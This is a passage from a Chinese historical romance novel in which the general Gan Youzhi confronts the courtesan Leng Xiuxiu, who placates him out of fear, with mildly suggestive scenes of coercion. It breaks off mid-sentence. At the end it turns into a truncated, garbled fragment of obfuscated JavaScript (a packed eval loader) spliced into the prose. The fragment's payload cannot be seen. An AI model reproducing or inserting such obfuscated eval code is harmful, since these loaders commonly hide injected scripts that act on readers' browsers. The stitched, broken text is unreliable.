今的位置。
回到通州大营时,甘宥之正在训斥手下的兵。
傻将军卡着间隙斗胆插话道:“将军,属下将冷琇琇带回来了。”
甘宥之闻言便令那士兵退下,目光移到冷琇琇身上,冷琇琇即刻身子一软跪了下来,低下脑袋听候发落。
甘宥之对傻将军道:“这次就不继续罚你了,若还有下次,革职处理。”
傻将军点头如捣蒜:“将军教训的是,属下定好好反思。”
“行了,你回去吧。”
偌大的帐中只剩下他们二人。
“冷琇琇,又见面了,最终还是落回到本将军手中了吧?”甘宥之像先前那样捏住她的下巴,逼迫冷琇琇与他对视。
再次直面甘宥之脸上那条刀疤,冷琇琇止不住发颤。为了使自己看起来自然一些,她侧过脸去,双手攀上甘宥之宽厚的肩膀,半个身子向他身上倾倒去,声音也软绵绵的:“甘将军说笑了,奴从未想过离开将军您的手掌心。”
“你这张嘴真是,叫人又爱又恨啊。”
甘宥之将唇瓣贴在她的耳廓上,忽的咬了一口,阴沉道:“可惜本将军现在不想给你好日子过。”
冷琇琇又惊又怕,但不得不继续亲昵的动作,将整个脸埋入他的胸膛,扭动腰肢撒娇道:“将军饶命啊,奴都是被迫的。”
甘宥之一把捏住她的腰:“被迫?你在何远那儿呆得不是挺自在的么?”
冷琇琇踮起脚,仰头贴近甘宥之的耳朵,气息泛起波澜,款款道:“将军冤枉,那日起了大火,奴幼时险些葬生火海,这才会对起火有这样大的反应。都是那何远滥好心,他非觉得奴那日惊慌失措是因为您,任奴如何解释,他只道奴是惧于您的权势才不敢同他说实话,放言说他不怕您,强行将奴留在了身边。”
“哦?是吗?”甘宥之显然是不信。但最后一句话却多少是有些作用的,适当地激发了他心中对何远的恨意。
“后来的饶姑娘您是知道的,他与饶姑娘曾有过婚约,这您应当也听说了,只是他对饶姑娘没有兴趣,奴便被他顺手用来打发饶姑娘了。”
“继续狡辩。”
“再后来他自知无法与您抗衡,但又不想在奴这儿失了面子,于是自作主张将奴托付给了他的一个书生好友。这书生在通州书院读书,表面看着文质彬彬的,自视清高,实则是个衣冠禽兽,嘴上说看不起妓女,看不上那些纳妾养外室的人,实际上日日夜里都与奴欢好,缺一日不可。白日里奴还得给他洗衣、做饭、打扫、研墨,奴实在是受不住了。”甘宥之应当还不知道何远有个弟弟也在通州,虽然两个人都不在了,但这事也不能通过她的嘴说出去。
“
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replaew RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]